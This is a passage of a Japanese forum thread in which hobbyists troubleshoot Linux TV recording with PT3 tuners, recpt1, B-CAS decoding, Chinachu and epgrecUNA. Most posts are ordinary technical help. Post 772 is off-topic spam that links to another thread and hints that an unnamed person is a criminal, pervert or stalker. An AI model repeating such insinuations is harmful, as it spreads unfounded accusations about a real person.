家族にとってハードル高そうな感じがするかな。

って、こんな所で文句言ってないで、コード書いてpull request投げろって
話なんだろうけど。

767 :login:Penguin:2014/10/10(金) 20:16:36.96 ID:aSbaMf5l.net
うわ、書き込みが反映されないからもっかい書いたら二重カキコになってもーた。

なんかおかしいと思って調べてみたら、いつの間にかスケジューラのPIDファイルが
残ったままだった。そりゃ何回クリックしてもスケジューラは実行されないわなorz

ルール作成時のチャンネル名も、局名じゃなくてSIDベースになっててわかりにくい。

今はTvRockを家族と共用してるんだけど、なんとなくchinachuへ移行するのは
家族にとってハードル高そうな感じがするかな。

って、こんな所で文句言ってないで、コード書いてpull request投げろって
話なんだろうけど。

768 :login:Penguin:2014/10/10(金) 20:37:37.73 ID:Zg5iM30z.net
時間差二重投稿
これは流行る悪寒

769 :login:Penguin:2014/10/10(金) 20:38:22.41 ID:Zg5iM30z.net
別人かも?

770 :login:Penguin:2014/10/12(日) 16:08:38.95 ID:sZHmv5Uw.net
systemdにしてから、recpt1が上手く行かなくなった。デコードされずに生ストリームで録画するようになった。
挙動を調べたら、pcscdの起動が完了する前にB-CASカードを取ろうとしてlibarib25がこけて、生ストリーム吐くモードに移行してた。

しょうがないから、pcscd起動させてからカードが刺さってるかどうか調べるまで一秒待たせてみた。
パッチ↓
動作保証はしない(`・ω・´)
-------------
--- b_cas_card.c.orig 2014-10-12 15:46:34.290926326 +0900
+++ b_cas_card.c 2014-10-12 15:56:53.274764391 +0900
@@ -3,6 +3,7 @@

#include <stdlib.h>
#include <string.h>
+#include <unistd.h>

#include <math.h>

@@ -153,7 +154,8 @@
if(ret != SCARD_S_SUCCESS){
return B_CAS_CARD_ERROR_NO_SMART_CARD_READER;
}
-
+ sleep(1); // Dirty hack.
+
ret = SCardListReaders(prv->mng, NULL, NULL, &amp;len);
if(ret != SCARD_S_SUCCESS){
return B_CAS_CARD_ERROR_NO_SMART_CARD_READER;

771 :login:Penguin:2014/10/12(日) 23:17:41.47 ID:O788uume.net
recpt1 たまにこのエラーになるんでかど、直す方法ってある?

b25->put failed
b25_decode failed (code=-5). fall back to encrypted recording.

772 :いぼっ:2014/10/13(月) 03:41:16.62 ID:qKeJy4Y4.net
男嫌いでオタクという設定にすれば食いつくんだろスレ
http://wc2014.2ch.net/test/read.cgi/voice/1405767952/l50

お前らのんきにイベント行ってる場合じゃないぜ
身を守りたかったら99要チェック
あ?何だ109は?補足情報120 犯罪暴露か?131、132、135、136
こいつなんでこんなに書かれてるんだ?
160、161どうしたもんかね?本人じゃね? 34歳だと?236
おっと良妻賢母の学校か〜244 ,247そーなのか〜ほー
254このマットてのはグラウンドの住宅に面した金網に脈絡なく汚ねえ立てかけ方されてるやつじゃね?取りに来たやつ悪い奴ってことか。
256,304,326,339ほー 352,355,357マジかよ、こりゃ許せねーなー変○者?
371,373ストー○ーでもあるのか、ほー375,378,406,475ほー435,456,474人事の人大丈夫?

773 :login:Penguin:2014/10/13(月) 12:32:50.11 ID:/xMjmERj.net
http://peace.2ch.net/test/read.cgi/avi/1366339738/
のスレの542さんに、ドライバモジュールのTsSplitterの問題点をレポートしていただきました
放送データの運用方法として、(おそらくレアではあるものの)仕様的には許されるパターンを見落としていたのが原因です
このパターンに遭遇すると、最悪ECM等を削除してしまう事になるので、コンテンツを復号できなくなったりします
(特に1サービス1チャンネルモードで使用している方は)お手数ですが更新お願いします(;´Д`)
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/commit/ec4c912bffd9c1b3816f618758577c79bb28442d

774 :login:Penguin:2014/10/13(月) 22:43:59.14 ID:S3wvP1yL.net
>>771
libarib25に>>770のパッチを当ててビルドしなおして試してみて。

775 :login:Penguin:2014/10/14(火) 02:10:35.90 ID:+6XljqJ6.net
>>774
どっちかと言うと>>750だと思う

776 :login:Penguin:2014/10/14(火) 17:54:53.79 ID:jI+B29yu.net
recpt1でEMM処理が上手く行った試しがないんだけど、みんな出来てんの?
ちなみにUbuntu12.04です。

777 :login:Penguin:2014/10/15(水) 01:03:12.49 ID:N7PyqqvM.net
うまく行ってるかどうかしらんけど、EMMオプションを使って番組表取得するようにdorecord.shを変えたらカードのデータ更新がされるようになった
と思ってる

778 :login:Penguin:2014/10/19(日) 14:22:26.48 ID:dpigh9zz.net
chinachu で bcas ソフト使えますか

779 :login:Penguin:2014/10/20(月) 04:47:00.38 ID:IIqY1fSI.net
チョット何イッテルカ分カラナイデース

780 :login:Penguin:2014/10/20(月) 15:07:06.52 ID:dJcUh1zA.net
たった今chinachu導入してみたけど
スケジューラーって手動でポチポチしてやらないとなんだな
毎週ポチポチは面倒だしcronとかで何とかして世話してみよう

781 :login:Penguin:2014/10/20(月) 15:11:33.24 ID:IIqY1fSI.net
EPGから「ルールの作成」

782 :login:Penguin:2014/10/20(月) 15:34:41.30 ID:IiDJJ9DH.net
主な機能

・EPGドリブン ←

783 :login:Penguin:2014/10/20(月) 15:38:59.37 ID:dJcUh1zA.net
これルール作った後定期的にスケジューラーの実行とか押してやらなくていいのか?
なにか重大な勘違いをしていたな

784 :login:Penguin:2014/10/20(月) 15:45:09.52 ID:IIqY1fSI.net
>>783
>>765

785 :login:Penguin:2014/10/22(水) 22:00:16.90 ID:wvYesKch.net
ubuntu 14.04 64bit kernel 3.13.0-37 で、pt1_drvのinsmodに失敗する様です。

786 :login:Penguin:2014/10/23(木) 13:18:09.32 ID:yIjftr4D.net
dvb版のドライバ無効化してないだけなんじゃないの

787 :login:Penguin:2014/10/23(木) 14:24:08.42 ID:cn1f0HiU.net
linuxの録画環境は統一感というか整然としてないな

788 :login:Penguin:2014/10/23(木) 20:10:05.05 ID:IEjuheIx.net
recpt1ってBSの有料放送受信するのになんかしてやんないとなのか?
お金は払ってるが映らね・・・

789 :login:Penguin:2014/10/23(木) 20:16:44.18 ID:zNHm17Ho.net
契約してBCASカードはどうしてる?
pcsc_scanしたらなんて出る?

790 :login:Penguin:2014/10/23(木) 20:24:52.33 ID:IEjuheIx.net
BCASは録画機のカードリーダーに刺しっぱなしです
pcsc_scanは
Japanese Chijou Digital B-CAS Card (pay TV)
とか出てるから動いている・・・と思う

791 :login:Penguin:2014/10/23(木) 20:28:02.42 ID:zNHm17Ho.net
契約済みの有料chじゃなく、NHKBSでもダメ?

792 :login:Penguin:2014/10/23(木) 20:32:00.84 ID:IEjuheIx.net
NHKはBS1もBSプレミアム、あとその他無料放送などは見れてます

793 :login:Penguin:2014/10/23(木) 20:37:13.57 ID:zNHm17Ho.net
それだと、有料チャンネルの契約済み信号をbcasカードが受け取ってないだけ可能性も(契約手続きし終わったばかりなら)
いつ契約手続きした? テレビでは有料チャンネルも視聴できてた?

794 :login:Penguin:2014/10/23(木) 20:43:31.35 ID:IEjuheIx.net
手続自体は二年前くらいだったかと
テレビでは見れてました

契約済み信号を受け取るってことは、映らなくても二・三時間くらい受信させてやればいいのかな

795 :login:Penguin:2014/10/23(木) 20:47:58.56 ID:zNHm17Ho.net
2年前から視聴できてたなら問題ないはず
何だろう?

796 :login:Penguin:2014/10/23(木) 20:51:14.65 ID:RFH5Yplo.net
>BCASは録画機のカードリーダーに刺しっぱなしです

linuxに挿してるカードが別物(非契約)というオチか?

797 :login:Penguin:2014/10/23(木) 20:59:27.48 ID:IEjuheIx.net
不安になってカード番号調べたけど
どうやら間違ったものを刺してる訳でもないみたいです

とりあえず
recpt1 --b25 BS07_1 10800 test.ts --device /dev/pt3video1
とかやって放置してみます

798 :login:Penguin:2014/10/23(木) 21:01:23.26 ID:RFH5Yplo.net
--EMMオプションも付けないと、契約情報の更新されないので注意ね。

799 :login:Penguin:2014/10/23(木) 21:32:53.62 ID:1mp8HuSP.net
何ヶ月も視聴してないと、EMM信号が送られなくなるようだぞ。
契約chに電話して信号送ってもらわないと。

800 :login:Penguin:2014/10/23(木) 21:37:13.64 ID:FceHZWDS.net
一晩テレビに刺しとけば受信してまた使えるようになるよ

801 :login:Penguin:2014/10/23(木) 21:39:14.84 ID:FceHZWDS.net
なので番組表作成のための受信時にはemmオプションあり、通常の録画時はなしとなるようにdo-record.shを変えて使ってますよ。

802 :login:Penguin:2014/10/23(木) 22:08:28.20 ID:IEjuheIx.net
今度からemmオプションつけっぱなしにしようかと思ったんですが、
使い分けるってことはつけっぱだとまずいんですか?

803 :login:Penguin:2014/10/23(木) 22:19:11.09 ID:RFH5Yplo.net
使い分けは、録画中のCAS負荷をなるべく抑えたいという意図かと。
個人的には常時ONでもよさそうな気もしますが。
使い分けのほうが安心感はあります。

804 :login:Penguin:2014/10/24(金) 17:07:46.71 ID:2weC2ZFV.net
EMMオプションつけて寝てる間にrecpt1走らせっぱなしにしてみたけど映らなかった
どうしたものか

面倒だが >>799の言うとおり電話するしか無いのだろうか
尚元々BCASが刺さっていたテレビはあの世に旅立った模様

805 :login:Penguin:2014/10/24(金) 18:44:08.47 ID:Lt3B+GxY.net
>>804
どう走らせたのか気になるが聞かないでおく

806 :login:Penguin:2014/10/24(金) 18:45:38.48 ID:xY94CKOw.net
局側はそう言うの慣れてると思うので、電話すればすぐ流れてくるようになると思いますよ

ついでに言うと、libarib25はEMMを実際にカードに投げる前にそれが自分のカード宛ての物なのかを確認するので、
CAS処理でのカードの負荷増になるのは、自カード宛てのEMMが来た場合のみです
よほどすごい使い方(あるいは意図して無視したいとか)でない限りは、EMM処理は常時onでも大丈夫だと思いますよ
EMMの周期って(局や時期によっても違うと思いますが)結構長い事もあるので、EPG取得程度の時間じゃ、
ハズレ引き続けると全然更新されない可能性もありますしね

807 :login:Penguin:2014/10/24(金) 20:51:02.65 ID:Gl/OlUSi.net
今過去ログ読み終わった。
結構開発進んでるのねぇ・・・・
昔Windowsでは録画鯖やってたけど(PT3*3枚で)
Linuxで始めるならどれがいいんだろうか?
(OSはCentOS6.5辺りで検討中)

シロート向けのサイトが有れば嬉しいんだけど。

808 :login:Penguin:2014/10/24(金) 21:53:11.71 ID:K0OFO3hX.net
どういう録画鯖にしたいのかにもよるしそれだけだと何とも
そもそもどうしてLinuxで始める必要があるの?

809 :login:Penguin:2014/10/24(金) 21:59:58.34 ID:NTHjz3x1.net
chinachuあたりから始めてみればいいんじゃね
foltiaの有償版のぞけば基本的にフリーなんだし

810 :login:Penguin:2014/10/25(土) 01:48:41.79 ID:OW5De62i.net
Chinachu作者のTwitterに延長対応したって書いてあるけど、まじ?

811 :login:Penguin:2014/10/25(土) 04:06:43.51 ID:9ccRecWp.net
これやね
https://github.com/kanreisa/Chinachu/commit/46183aa59d481699a21122d5aace616655949b40

812 :login:Penguin:2014/10/25(土) 04:43:05.17 ID:cs9XIo/v.net
>>811
録画中の延長を訂正できるんじゃなくて
前の番組から玉突きくらった場合の訂正ができるだけみたい?
「延長対応」といえるのかはともかくアニメに照準合わせてるChinachu的にはこれで十分鴨

813 :login:Penguin:2014/10/25(土) 05:03:36.14 ID:L1hCw8EY.net
まだepgdumpを使っているからNHKで失敗する可能性が高い

814 :login:Penguin:2014/10/25(土) 10:31:00.33 ID:RrxuRbOl.net
もう一回受信放置してやったら映った
ありがたや

815 :login:Penguin:2014/10/25(土) 13:49:40.91 ID:nSkD2CqE.net
只今絶賛構築中。
やっとts出来るトコまで来た。
手順まとめてるけど需要ある?

816 :login:Penguin:2014/10/25(土) 14:42:18.83 ID:YdfcDNN7.net
>>813
epgdumpの他っていうとtsParserかな?
epgdumpより情報が多く取れるからchinachuに使えないかなと思ってたところです

817 :login:Penguin:2014/10/25(土) 14:59:26.25 ID:L1hCw8EY.net
>>817
延長時のEITの挙動を理解してそれに対応した処理が無ければなに使っても同じ

818 :login:Penguin:2014/10/25(土) 15:09:20.23 ID:W56wjqp/.net
>>815
ある!ぜひ!

819 :login:Penguin:2014/10/25(土) 17:32:14.05 ID:1ocDiSld.net
Partedで間違えてOS飛ばしたバカです…orz
Blog書きながらやってたのが幸いで
再度構築なう。

まぁ記事の間違い直しが出来たからいいか

820 :login:Penguin:2014/10/26(日) 14:58:26.69 ID:17p2Sl+A.net
>>817
いったんファイルに落としてるようじゃ…てことですかね
NHKはEITの挙動が他と違うの?

821 :login:Penguin:2014/10/26(日) 16:43:06.47 ID:aHeU8u4B.net
>>820
>NHKはEITの挙動が他と違うの?
そのとうり
臨機応変な番組編成をしているので arib仕様をフル活用している

EITには「今・次」の「全体」の2種類があって通常は内容が同期しているんだが
NHKは、延長などで番組編成を変更すると「今・次」だけ更新して「全体」の方は定期更新時まで放置
特に現番組が延長してると「今・次」の内容も「現放送終了時間未定・次番組そのものが未定」になってしまう
民放の場合は、延長時には現放送の終了時間に仮値をいれて「今・次」と一緒に「全体」も随時更新しているので
利用側は対応が楽チン

他に酷いのだと「変更がある場合、番組開始30秒前にEITを更新しなければいけない」という規定があるが
「間に合わなければその限りではない」というのもありそれを実践してくる

epgdumpがだめなのは EITの「今・次」と「全体」をマージして出力している関係でNHKの番組編成変更に対応するのに
必要な情報が欠落してるから
これは他のパーサーにも当てはまるかも

822 :login:Penguin:2014/10/26(日) 17:34:20.44 ID:i4EFvmX7.net
つまり新規にEIT取得アプリを作らなければならないって事?

823 :login:Penguin:2014/10/26(日) 19:42:18.41 ID:aHeU8u4B.net
「今・次」と「全体」を分離すればいいだけなので既存のものを改造すればいいよ
問題は分離した形でどう出力するかだけど
理想は、chinachu薄潮みたいにパーサーをフロントエンドに内蔵した上で
EITを常時監視するのがいいんだけどね

あと epgdumpの派生版で対応してるのがあるからそれを使うのも手
ただし出力内容やフォーマットが違ったりするので入れ替えてOKでは済まない

はなし変わるけど chinachuの中の人、NHKは他と挙動が違うの理解してるんかな・・・

824 :login:Penguin:2014/10/26(日) 20:06:26.63 ID:ggFL0eD+.net
UTF-8なら番組情報のパーサーを作ろうかなと思えるけど、なんか特殊な文字コード使ってるよね
TSのヘッダを触るのは楽だけど文字コードの変換が面倒で挫折した覚えがある

825 :login:Penguin:2014/10/26(日) 22:37:52.51 ID:st1hdJhi.net
>>824
その辺はライブラリ使えば良いだけだよ
aribb24なりTVTestのCAribStringなり(ちなみにepgdumpも元はCAribString)

826 :login:Penguin:2014/10/26(日) 23:06:54.63 ID:quJ4oihX.net
んー
色々ハマったけど、出来たような気がする。
早速ルール作成と手動予約。
無料な日もあるのね<某チャンネル

827 :820:2014/10/27(月) 02:46:43.70 ID:lOUc8dv7.net
>>823
詳しい解説ありがとうございます
よければchinachu薄潮とepgdump派生版、教えて欲しいです
ググったけど分からなかった…

民生品の録画機とかはEIT常時監視してるんですかね
地上波とBSのチューナーを常に1つ稼働させて、録画するときもそこからの
ストリームで録る、と(チューナー占有しない)
常時じゃなくても予約の時間帯は頑張るようにしたいですね…
四月は君の嘘の初回が世界体操の延長で5分しか録れてなくて、
録画責任者の俺は嫁から叩かれました
なんとかしたい…

828 :login:Penguin:2014/10/27(月) 03:03:38.31 ID:QRIsXjs7.net
>>827
https://twitter.com/Chinachu_REC/status/504054745053421568

うちは最近アップデートしたら野球延長されても大丈夫なようになってた

829 :login:Penguin:2014/10/27(月) 03:24:49.36 ID:HcmNMqFt.net
嫁用家電レコーダを導入して録画責任者を辞任したほうがよくね?

830 :login:Penguin:2014/10/27(月) 04:09:30.34 ID:lOUc8dv7.net
>>828
ありがとうございます、開発版ブランチがあるんですね

>>829
テレビ買うときに、自前でやるから録画機能は要らぬ!と大見得をきって
新規で録画マシンを組んだ手前、そこは引けませぬ…

831 :login:Penguin:2014/10/27(月) 07:57:18.49 ID:BQ6rf+/R.net
>>827
派生版つか
ttp://d.hatena.ne.jp/katauna/
これについてるやつじゃね?

832 :login:Penguin:2014/10/27(月) 09:45:44.63 ID:ytUb0pQB.net
>>860気持ちはわかるけど、俺も>>829が絶対的に正しいと思うなぁ

833 :login:Penguin:2014/10/27(月) 09:58:23.00 ID:FvJMiSLk.net
OSをWindowsにしたら使いやすいソフトが揃ってるのに

834 :login:Penguin:2014/10/27(月) 10:07:05.04 ID:CWs6/kCP.net
860のカキコが試される悪寒
期待しよう

835 :login:Penguin:2014/10/27(月) 10:45:32.20 ID:i3z5ksm4.net
>>830
おれも>>832に同意。
でなければガンガルしかないw

836 :823:2014/10/27(月) 12:37:02.04 ID:lSaNX93Z.net
>>827
>chinachu薄潮
chinachuの次期バージョンで現在開発中

>epgdump派生版
>>831のやつです

私は>>831の epgrecUNAを使ってます
番組延長による繰り下がりで録画に失敗したことは無いです
>四月は君の嘘の初回が世界体操の延長で5分しか録れてなくて、
も撮れています
また録画中番組も次の番組を予約しておけば終了時間が変更されても合わせてくれます

837 :login:Penguin:2014/10/27(月) 16:53:55.18 ID:ytUb0pQB.net
なぜ・・・俺は>>860に振ったんだ・・・

838 :login:Penguin:2014/10/27(月) 17:21:03.20 ID:ooblbN8C.net
普通の嫁レベルだと見て消すがデフォだから、もしプレステ持ってるならナスネで十分だぞ

839 :login:Penguin:2014/10/27(月) 17:22:13.40 ID:9FYGVnzO.net
どうでもいいけど Chinachu の中の人がここ見てたらしょぼかるへの番組予約アップロードに対応して欲しい

840 :login:Penguin:2014/10/27(月) 18:33:51.89 ID:i3z5ksm4.net
>>837
ダイナミックなアンカーだなw

オレはrecpt1+chinachuで動かしてみた。
もちっと触ってみないとなんとも言えないけど。

841 :830:2014/10/27(月) 23:42:29.39 ID:Yd7gomEs.net
>>836
ありがとうございます
chinachuは最近延長に対応したみたいなので様子見してみようと思います
暫定対応っぽいので、本命はうすしおですかね
今からうすしお突撃したい気持ちもありますが、録画マシンで地雷踏むと痛い…

epgrecUNAは延長対応完璧なんですね
ううむもう一台チューナーマシンが欲しい…

録画責任者辞任せよとのご意見が多数で意外でした
みなさんそんな感じなんですかね…
たしかに家電のほうが何かと便利ですが、タイヤ交換できる父親といいますか
IT DIYは私としては唯一の特技なので、死守したいところです!

842 :login:Penguin:2014/10/28(火) 00:08:45.96 ID:4/sYK5W/.net
嫁の録画は嫁に任せておけば気楽じゃないか〜
叩かれる心配なくDIYに専念できると思うんだけどw
まぁ気持ちはワカル

843 :login:Penguin:2014/10/28(火) 01:20:23.94 ID:G+1aFK6I.net
「PCで出来ること」の範囲が広がるかどうか、今後の趣味への投資予算獲得に影響するような

844 :login:Penguin:2014/10/28(火) 01:27:58.74 ID:EoeEKfNW.net
>>833
なんだかんだでWindowsの方がまだ1歩抜きん出ているね残念だけど

845 :login:Penguin:2014/10/28(火) 10:21:04.29 ID:uI01UInF.net
>>841
うすしお・・・初めて聞いた。
一体何???(ggrksは承知之助)

まぁChinachuで今のところは運用中だけど。

846 :login:Penguin:2014/10/28(火) 10:32:36.16 ID:uzu7Utic.net
>>844
そうなんだ…WindowsはTV Rockというのが高機能なんですかね?
開発環境だったりネットワーク透過だったりの部分で、Linuxのほうが
録画マシンには向いてるだろうとずっと思ってましたが、、、
何だかんだいって人材が豊富なんですかね

>>845
https://twitter.com/Chinachu_REC/status/473772871764807680

847 :login:Penguin:2014/10/28(火) 10:34:55.38 ID:vh4V2r2I.net
>>841
気持ちはわかるけど、ぶっちゃけ安定性で比較すれば、Linuxの録画システムと家電は比べちゃいけないレベルだしな。
ある意味録画失敗しても仕方がない、って気持ちがどこかにないと、これ一本でやるのは無理があるだろ。
そういうわけで、嫁に頼まれた番組とか、失敗しちゃいけない録画なら家電がベストだよ、ってことでしょ。

848 :login:Penguin:2014/10/28(火) 10:37:11.43 ID:zMvc5HWF.net
Windowsはフリーソフト中心で種々のソフトを組み合わせて動かす感じ
Linuxはオープンソース中心で自分でソースファイルを書き換えて何とかする感じ

849 :login:Penguin:2014/10/28(火) 10:57:52.76 ID:rRRflTHb.net
家電もlinuxじゃなかったのか

850 :login:Penguin:2014/10/28(火) 11:04:04.09 ID:H3GaqOdL.net
>>849
それがどうしたんだよ

851 :login:Penguin:2014/10/28(火) 11:05:59.71 ID:zMvc5HWF.net
家電はだれでも使えなきゃいけないから
信頼性、操作性向上のためにお金と時間をかけて多数の技術者が作業してる
同じレベルにオープンソースで到達するのは難しいってことでしょう

852 :login:Penguin:2014/10/28(火) 11:17:52.50 ID:r788kPRk.net
USB/IPでチューナー繋いでる人居ますかね…

853 :login:Penguin:2014/10/28(火) 11:24:53.00 ID:uI01UInF.net
>>846
おお・・・さんくすこ
config.json使いまわせるといいなぁ・・・・
(だって、チャンネル設定超めんどくさいんだもん)

854 :login:Penguin:2014/10/28(火) 11:56:45.25 ID:ifxNEXyB.net
>>846
TVRockよりEpgDataCap_Bonの方がより良いよ

855 :login:Penguin:2014/10/28(火) 14:31:44.42 ID:4/sYK5W/.net
>>860に期待

856 :login:Penguin:2014/11/02(日) 15:09:46.02 ID:xPFdgYTn.net
今日Chinachuをアップデートしたら
時々しか動作しないライブ視聴が全滅でござる/(^o^)\

857 :login:Penguin:2014/11/02(日) 15:13:15.45 ID:2mcP/vCa.net
os再起動して1,2時間ほっとけ

858 :login:Penguin:2014/11/02(日) 16:08:30.64 ID:ttozdB2c.net
Chinachuで
何日も前のものが録画中になっている!
しかもファイルサイズが小せえ!

と思ったらHDD満杯であったでござる/^o^\

859 :login:Penguin:2014/11/02(日) 16:25:42.84 ID:+5wxkOmw.net
うちのchinachuはBS1録ると101と102でダブって2つ録画されるようになった
延長対応の副作用かなー

860 :login:Penguin:2014/11/02(日) 18:32:34.44 ID:xPFdgYTn.net
>>857
epg取得でlockしてる訳じゃ無いのでござる/(^o^)\

861 :login:Penguin:2014/11/02(日) 18:50:00.72 ID:2mcP/vCa.net
そればかり分かってるから騙されたと思ってやってみ
全盛期のイチローの打率くらいにはもどるから

862 :login:Penguin:2014/11/02(日) 18:50:46.37 ID:2mcP/vCa.net
変な日本語になってるがまぁいいか

863 :login:Penguin:2014/11/02(日) 18:56:03.56 ID:CfQP0qw8.net
Chinatuって「騙されたと思って1、2時間放置」で落ち着くのかぁ…
TvRockにも「おまじない」ってあったなぁ…

864 :login:Penguin:2014/11/02(日) 18:57:07.03 ID:s/ys1TFP.net
Chinachuろくなもんじゃねぇな

865 :login:Penguin:2014/11/03(月) 01:18:43.41 ID:+zamUVMI.net
Win時代はTvRockの謎の歯ぬけがどうやっても治らないので手を焼いて
Linuxへ epgrec入れてやってみると他にもいろいろパッチ入れないとちゃんとならないのでちょっと使って挫折
インストールが簡単なChinacuは斬新だけど挙動が謎なところが多いので1週間でやめた
今はepgrecUNAが一番堅実でかつ機能十分で安定してると思う
時間延長も大丈夫だし

866 :login:Penguin:2014/11/03(月) 02:29:53.02 ID:il0OPcMF.net
>>859
うちはそんなこと起きなかったけど
中の人に聞いてみたら?

867 :login:Penguin:2014/11/03(月) 04:15:08.72 ID:EC5pLSFh.net
こっちは epgrec で安定だわ
録画していない時の自動スリープも完璧に動く

868 :login:Penguin:2014/11/03(月) 04:26:18.97 ID:il0OPcMF.net
>>867
ところで、何故スリープしてるかっていうちゃんとした理由ありますか?
うちはスリープしちゃったら不便だしHDDに悪いから全然考えたこと無かったけど。
よろしければ教えてください

869 :login:Penguin:2014/11/03(月) 04:36:24.67 ID:EC5pLSFh.net
つ電気代

870 :login:Penguin:2014/11/03(月) 07:18:31.57 ID:nkN30iI4.net
後、うるさくて仕方がないとか。
無いか。

871 :login:Penguin:2014/11/03(月) 07:25:49.94 ID:+zamUVMI.net
外からもよくweb予約入れるからサーバになってないとうちは意味がないな
Atom機だから電気代は気にしてない
HDDだけスピンダウンするようにしておきゃいいんじゃない

872 :login:Penguin:2014/11/03(月) 09:06:13.99 ID:rfVrbIka.net
うるさいから

873 :login:Penguin:2014/11/03(月) 09:15:28.68 ID:z4wEG0Tl.net
>>871
外からの予約、についてだけなら
最近の家庭用ルータにはWOLパケット送信機能がついているものも多いから
(頻度が少なくて手間がかかるのに目をつぶれるならば)
なんとかなることも多いけどね

まあ電気代と音が問題ないなら
スリープ運用は必要ないと俺も思うけど

874 :login:Penguin:2014/11/03(月) 14:33:49.17 ID:fQEZfDo/.net
chinachuのライブ視聴は何時になったら動くのですか?(≧Д≦)

875 :login:Penguin:2014/11/03(月) 15:43:21.85 ID:ahyMMWCj.net
ライブ視聴用にテレビ買えばいいんじゃね

876 :login:Penguin:2014/11/03(月) 16:24:01.79 ID:cig0lSOk.net
ライブ視聴ってなんか不具合あったっけ?
ウチは24時間運転にしてる。静音化したし。

877 :login:Penguin:2014/11/03(月) 16:26:10.29 ID:ewdYHxvQ.net
録画数も大して多くないし、外から録画なんか皆無だから
スタンバイ運用だね
結局人それぞれ

878 :login:Penguin:2014/11/03(月) 20:32:23.65 ID:DiBrHay+.net
自作シェルスクリプトとcronでやってた頃は目覚ましセットさせてshutdown してたけど、
マシン新調してからはエンコもするようになったからほぼ起動しっぱなし
サスペンドとかハイバネートでもチューナー安定して使えるのかな?
電気代気になるものの、あまり頻繁に電源断するとハードディスク心配だったり

879 :login:Penguin:2014/11/03(月) 22:29:24.64 ID:SAgSiO1z.net
スピンアップで壊れるとかもう都市伝説レベルじゃね?

880 :login:Penguin:2014/11/03(月) 23:46:16.11 ID:Fz1k/4nD.net
スピンアップできる回数は有限らしい

881 :login:Penguin:2014/11/04(火) 08:16:47.34 ID:dtUB/y4/.net
>>879
甘い

882 :login:Penguin:2014/11/04(火) 08:29:00.39 ID:vyFCO9So.net
>>879
24時間稼働のマシンを引っ越しで電源落としたら
二本死んだよ。

883 :login:Penguin:2014/11/04(火) 08:45:00.42 ID:Ru9AGKrc.net
マジかよ。大容量SSDはよ

884 :login:Penguin:2014/11/04(火) 11:28:20.70 ID:JLf/Xu2C.net
常時電源ONでもHDD逝きましたけどね、つい1週間前・・・
バックアップしてなかったので録画鯖再構築中。

885 :login:Penguin:2014/11/04(火) 12:42:39.01 ID:j1JxXxG/.net
chinachuでライブ視聴を楽しんでたが
CS放送のxspfはうまく動かんのな
エラー出てしまう

886 :login:Penguin:2014/11/04(火) 13:26:57.36 ID:TuQDCclB.net
支那厨

887 :login:Penguin:2014/11/04(火) 13:31:52.25 ID:j1JxXxG/.net
なんかごめん

888 :login:Penguin:2014/11/04(火) 13:35:14.83 ID:E1wii0Wg.net
ライブ視聴、特にxpsfは安定してないというのは中の人も公認だから。githubにあるchinachu公式一読するよろし。

889 :login:Penguin:2014/11/04(火) 17:24:45.26 ID:vyFCO9So.net
録画鯖のBootはSSDに。TSはHW RAIDにぶっこんである。
バックアップはまだとってないがwww

890 :login:Penguin:2014/11/05(水) 08:07:05.02 ID:1d4nwRx3.net
ぐお…録画鯖脂肪のお知らせ。
さ、再構築するか…orz

891 :885:2014/11/05(水) 13:23:44.86 ID:S3S6/STV.net
SSDとepgrecUNA版で鯖の再構築して、めっちゃ快適w
早いとこバックアップ設定しないとな〜。

892 :login:Penguin:2014/11/05(水) 21:07:38.48 ID:/EWfSuiz.net
>>891
ウチもSSDにしてたんだが…
バックアップ真面目に考えよう。次回からは。

893 :login:Penguin:2014/11/05(水) 23:01:35.38 ID:s4vczIam.net
BonDriver_LinuxPT.hのMAX_CHを適当に増やしてBonDriverのチャンネル番号を
物理チャンネルに合わせて設定してますが、チャンネル番号を255に設定すると
0バイトのファイルが出来て録画に失敗します。最初は設定の問題かなと思った
んだけど他の設定はそのままでチャンネル番号だけ254や256にすると普通に
録画できるのでプログラムの問題っぽいです。

894 :login:Penguin:2014/11/05(水) 23:10:11.79 ID:r++/9Ssv.net
ところで唐突な話だけど、
テレビのアンテナから来ているケーブルに
USBのケーブルが絡まると、信号乱れたりするのかな。
はっきりと言い切れるわけじゃないけど、
俺のPCだとそんな傾向がある気がする。

895 :login:Penguin:2014/11/05(水) 23:30:25.73 ID:EJF9utgC.net
ライブ試聴とか使うんだったらテレビでも買えと言おうとしたらepgrecに乗り換えていた時の腑に落ちなさ

896 :login:Penguin:2014/11/05(水) 23:58:25.13 ID:s32RwZNB.net
>> 893

https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/master/README.md
(※不要箇所削除の際は、残した物のBonDriverとしてのチャンネル番号を0からの連番に採番しなおしてください)。
とかOK?

https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/master/BonDriver_LinuxPT.cpp#L461
後これとか?

> BonDriverのチャンネル番号を物理チャンネルに合わせて設定してますが

意図していない設定の様な気がする。自分なら素直にデフォルトのconf使うなあ。

897 :login:Penguin:2014/11/06(木) 00:59:46.86 ID:Ayxz3zag.net
>>893

https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/master/BonDriver_LinuxPT.cpp#L273
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/master/BonDriver_LinuxPT.cpp#L455
こっちかな?

898 :login:Penguin:2014/11/06(木) 06:42:18.09 ID:rpZKUkYh.net
>>893
>>896
>>897さんの言う通りだと思います
内部的に、0xff(255)を無効チャンネルとして扱っており、かつチャンネル初期値として保持している為、
もしMAX_CHを256以上に変更した上で最初のSetChannel()に255が指定された場合、既にそのチャンネルに
あわせてあると判断してしまい、実際のioctl(SET_CHANNEL)が行われないはずです

ただ、この無効チャンネルを表す数値が0xffなのは、指定される事は無い値だと言う以上の意味は無いので、
0xffffffffに変更しておきました

899 :login:Penguin:2014/11/06(木) 06:51:08.44 ID:rpZKUkYh.net
ちなみに、BonDriverとしてのチャンネル番号を抜け無しの連番にするのはBonDriverインタフェースの
お約束みたいなもので、どの番号がどのチャンネルを指しているか既に知っており、チャンネル番号を
直接指定する前提であれば必ずしもそうなっている必要はありません
#お約束の目的は、アプリがチャンネルスキャンする際に、EnumChannelName()を0から順番に行い、
#NULLが返ってきた時点でスキャン完了として扱えるように…だと理解しています

ただ、BonDriver_LinuxPT/DVBの場合、内部的なチャンネル情報の保持の仕方は普通の配列なので、
MAX_CHを必要以上に大きくして抜け番号が増えれば増えるほど、無駄にメモリを確保してしまう事に
なるのでご注意ください

900 :login:Penguin:2014/11/07(金) 13:29:17.18 ID:06tB7U0k.net
